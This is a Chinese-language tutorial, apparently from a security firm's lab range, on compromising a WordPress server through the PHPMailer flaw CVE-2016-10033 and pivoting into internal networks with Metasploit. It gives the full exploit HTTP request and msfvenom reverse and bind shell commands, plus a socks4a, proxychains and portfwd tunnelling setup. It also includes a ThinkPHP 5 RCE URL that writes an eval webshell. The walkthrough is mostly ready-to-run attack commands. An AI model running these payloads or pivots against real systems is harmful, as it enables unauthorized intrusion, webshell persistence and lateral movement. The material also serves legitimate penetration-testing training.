在平時(shí)護(hù)網(wǎng)比賽中,攻堅(jiān)環(huán)境中,滲透測(cè)試中,做內(nèi)網(wǎng)穿透使用的工具有很多如:EW、Cobalt Strike 為了方便小白入門(mén),本次教程通過(guò)滲透過(guò)程中最常用的MSF攻擊框架中socks4做內(nèi)網(wǎng)穿透代理,實(shí)現(xiàn)內(nèi)網(wǎng)橫向滲透。
用本公司的靶場(chǎng),模擬一個(gè)攻堅(jiān)小場(chǎng)景:
外網(wǎng)IP:112.115.*.* (一臺(tái)存在wordPress/ target=_blank class=infotextkey>WordPress漏洞的web服務(wù)器)
內(nèi)網(wǎng):10.0.0.0/24 (模擬開(kāi)發(fā)人員,一臺(tái)為weblogic漏洞機(jī)器,一臺(tái)為thinkphp漏洞機(jī)器)
滲透思路:用MSF對(duì)wordpress漏洞進(jìn)行反彈shell,發(fā)現(xiàn)機(jī)器位于一個(gè)內(nèi)網(wǎng),建立socks4線(xiàn)路,橫向掃描并對(duì)內(nèi)網(wǎng)其他機(jī)器進(jìn)行滲透并反彈shell
由于socks4做穿透超過(guò)3層就會(huì)失去流量速度,所以后期我會(huì)寫(xiě)一篇用EW或其他穿透工具做多網(wǎng)段多層穿透。
攻擊機(jī):kali
目標(biāo)機(jī):攻堅(jiān)靶場(chǎng)
首先開(kāi)啟kali,利用Wordpress 4.6 任意命令執(zhí)行漏洞,對(duì)主站服務(wù)器進(jìn)行上傳一句話(huà)或,直接反彈shell(為了一些教會(huì)小白一些提權(quán)細(xì)節(jié),所以先寫(xiě)入一句話(huà),然后在反彈msf shell)如果自己練習(xí),可以直接msf生成shellcode扔到主站反彈shell。
0x001 主站滲透
打開(kāi)主站http://122.115.*.*:8000/介紹一下這個(gè)漏洞
WordPress <= 4.6命令執(zhí)行漏洞(PHPMailer)(CVE-2016-10033) WordPress是一種使用PHP語(yǔ)言開(kāi)發(fā)的博客平臺(tái),用戶(hù)可以在支持PHP和MySQL數(shù)據(jù)庫(kù)的服務(wù)器上架設(shè)屬于自己的網(wǎng)站。也可以把WordPress用作一個(gè)內(nèi)容管理系統(tǒng)(CMS)來(lái)使用。WordPress使用PHPMailer組件向用戶(hù)發(fā)送郵件。PHPMailer(版本<5.2.18)存在遠(yuǎn)程命令執(zhí)行漏洞,攻擊者只需輕松地構(gòu)造出一個(gè)惡意郵箱地址,即可寫(xiě)入任意文件,從而造成遠(yuǎn)程命令執(zhí)行的危害。
POC
假如目標(biāo)地址為:http : //127.0.0.1 : 8000/
- 把下面的HTTP報(bào)文復(fù)制到BurpSuite Repeater中,單擊Go按鈕,填充目標(biāo)IP和擴(kuò)展(例如,IP填充127.0.0.1填充80)
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: Application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
- 訪(fǎng)問(wèn):http : //127.0.0.1 :8000/ vuln
看到返回狀態(tài)碼為200代表已經(jīng)成功創(chuàng)建了/var/www/html/vuln文件
可在發(fā)包之前訪(fǎng)問(wèn)該地址,會(huì)出現(xiàn)404
注意:
- 遠(yuǎn)程URL中不要有 http://
- 所有字母必須小寫(xiě)
- 所有/用${substr{0}{1}{$spool_directory}}代替
- 空格所有用${substr{10}{1}{$tod_log}}代替
先利用poc對(duì)主站寫(xiě)入一個(gè)vuln空白頁(yè)面,測(cè)試漏洞
然后寫(xiě)入一句話(huà)
用中國(guó)蟻劍連接webshell,下一步準(zhǔn)備msf生成一個(gè)shell
在linux系統(tǒng)下/var/tmp目錄可以進(jìn)行高權(quán)限反彈shell,打開(kāi)新的一個(gè)終端輸入"msfconsole"啟動(dòng)msf
新打開(kāi)一個(gè)終端生成反彈shell命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
回到msf端口 msf>use exploit/multi/handler ###監(jiān)聽(tīng) msf>set payload linux/x86/meterpreter/reverse_tcp ###反彈shell模塊 msf>run ###開(kāi)始監(jiān)聽(tīng)
用webshell把生成的shell.elf上傳到/var/tmp/目錄下,chmod+x 提權(quán)(linux提權(quán)細(xì)節(jié)),在通過(guò)終端執(zhí)行反彈shell
反彈shell成功,開(kāi)始內(nèi)網(wǎng)穿透
meterpreter > ipconfig ###查看網(wǎng)卡ip
0x002 搭建內(nèi)網(wǎng)隧道橫向滲透
meterpreter中添加好通向?qū)Ψ絻?nèi)網(wǎng)的路由
meterpreter > run autoroute -s 10.0.0.0/24 meterpreter > route flush 不用的時(shí)候,記得刪掉就行
由于目標(biāo)是linux的,所以直接進(jìn)行下一步 如果是windows跳板機(jī)可以用以下命令進(jìn)行掃描內(nèi)網(wǎng)機(jī)器 run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 windows:可以先通過(guò)arp掃描粗略的掃一眼目標(biāo)內(nèi)網(wǎng)的機(jī)器大概有多少
msf>background 掛后臺(tái)保持shell,開(kāi)始下一步開(kāi)啟代理
msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > set 127.0.0.1 msf auxiliary(socks4a) > set srvport 1080 msf auxiliary(socks4a) > run
然后apt install proxychains,我kali已經(jīng)安裝了所以直接
vim /etc/proxychains.conf
添加 socks4 127.0.0.1 1080
這樣msf本地開(kāi)啟socks4穿透,通過(guò)shell,轉(zhuǎn)發(fā)到跳板機(jī)的機(jī)器
proxychains nmap -sT -sV -Pn -n -p80 10.0.0.0/24 ###通過(guò)跳板機(jī)掃描內(nèi)網(wǎng)
發(fā)現(xiàn) 10.0.0.0/24段有個(gè)幾臺(tái)活躍ip,新建終端:proxychains firefox ####通過(guò)代理打開(kāi)火狐瀏覽器
通過(guò)web跳板機(jī)訪(fǎng)問(wèn)到10.0.0.3,但是問(wèn)題來(lái)了,目標(biāo)內(nèi)網(wǎng)有一臺(tái)漏洞主機(jī)10.0.0.3,但是用菜刀或者螞劍無(wú)法直接連接,所以有兩個(gè)辦法:
1.通過(guò)proxy代理啟動(dòng)蟻劍或者菜刀 2.目標(biāo)機(jī)內(nèi)網(wǎng)端口轉(zhuǎn)發(fā)
使用portfwd模塊(Metasploit中的一個(gè)post模塊)可完成端口轉(zhuǎn)發(fā)
meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to.
meterpreter > portfwd add -L 本地ip -l 本機(jī)端口 -p 目標(biāo)內(nèi)網(wǎng)端口 -r 目標(biāo)內(nèi)網(wǎng)
所以要建立一條線(xiàn)路用,msf 把本機(jī)某個(gè)端口直接轉(zhuǎn)發(fā)到目標(biāo)內(nèi)網(wǎng)端口
攻擊者本機(jī)<端口轉(zhuǎn)發(fā)>>>>>跳板機(jī)>>>>>>目標(biāo)機(jī)內(nèi)網(wǎng)
現(xiàn)在無(wú)需任何代理,直接訪(fǎng)問(wèn)本機(jī)127.0.0.1:5000 就能訪(fǎng)問(wèn)到目標(biāo)機(jī)內(nèi)網(wǎng)
現(xiàn)在內(nèi)網(wǎng)穿透拓?fù)浣Y(jié)構(gòu)就是
127.0.0.1:5000<>socks4:主站的shll<>內(nèi)網(wǎng)10.0.0.3:80 本地端口 socks4 內(nèi)網(wǎng) 127.0.0.1:5000=10.0.0.3:80
0x003 多層跳板機(jī)穿透
現(xiàn)在對(duì)內(nèi)網(wǎng)10.0.0.3進(jìn)行滲透和提權(quán),也就是127.0.0.1:5000
內(nèi)網(wǎng)10.0.0.3是一臺(tái)包含ThinkPHP5 5.0.22/5.1.29 遠(yuǎn)程代碼執(zhí)行漏洞的機(jī)器
直接訪(fǎng)問(wèn)http://your-ip/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可執(zhí)行phpinfo:
寫(xiě)入一句話(huà)shell就是
http://your-ip//index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST%5B-7%5D);?%3E
蟻劍連接shell:127.0.0.1:5000/shell.php
現(xiàn)在要對(duì)這臺(tái)內(nèi)網(wǎng)機(jī)器提權(quán)msfshell,由于是內(nèi)網(wǎng)隔離環(huán)境,所以需要使用bind_shell
在msf生成一個(gè)bind_shell開(kāi)端口木馬啟動(dòng)后,在做本段端口轉(zhuǎn)發(fā)過(guò)去,msf在bind連接
新起一個(gè)終端:msf生成一個(gè)bindshell的木馬(正向連接)
msfvenom -p linux/x86/meterpreter/bind_tcp lport=9999 -f elf -o bindshell
放到通過(guò)webshell 放到/var/tmp/下加權(quán)限,啟動(dòng)
現(xiàn)在內(nèi)網(wǎng)10.0.0.3在9999端口開(kāi)啟直接連shell權(quán)限,現(xiàn)在要做一個(gè)新的轉(zhuǎn)發(fā)把10.0.0.3:9999端口轉(zhuǎn)發(fā)到本地,然后msf直連
sessions sessions id編號(hào) meterpreter > portfwd add -L 127.0.0.1 -l 9999 -p 10.0.0.3 -r 9999
現(xiàn)在內(nèi)網(wǎng)10.0.0.3的bindshell 9999 端口 轉(zhuǎn)發(fā)到 本地127.0.0.1:9999端口了
msf進(jìn)行直連shell
use exploit/multi/handler set payload linux/x86/meterpreter/bind_tcp show options set LPORT 9999 set RHOST 127.0.0.1 run
等待連接shell
反彈shell后,只需要在10.0.0.3的shell上
use auxiliary/server/socks4a set 127.0.0.1 set srvport 1081 run 添加一個(gè)新隧道
在/etc/proxychains.conf 中添加 socks4 127.0.0.1 1081
在proxychains nmap 掃描就是直接連接到10.0.0.3上進(jìn)行轉(zhuǎn)發(fā)掃描,內(nèi)網(wǎng)二級(jí)穿透掃描
127.0.0.1:1080<>主站跳板跳板機(jī)<>10.0.0.3跳板機(jī)<>新ip(192.168.0.1)
實(shí)現(xiàn)了雙跳板機(jī)內(nèi)網(wǎng)穿透,同樣方法,要是拿到192.168.0.1的第三層內(nèi)網(wǎng),只需要之前的添加個(gè)端口轉(zhuǎn)發(fā)到本地,就能繼續(xù)滲透。一般內(nèi)網(wǎng)到第二層流量很少了,繼續(xù)深層網(wǎng)段滲透就需要上 EW穿透神器等工具。
總結(jié)一下流程,拿到webshell,上傳木馬反彈的msf,msf做socks4的代理然后添加端口轉(zhuǎn)發(fā),進(jìn)行下一層滲透,第二層同樣繼續(xù)反彈shell,做代理,端口轉(zhuǎn)發(fā)。






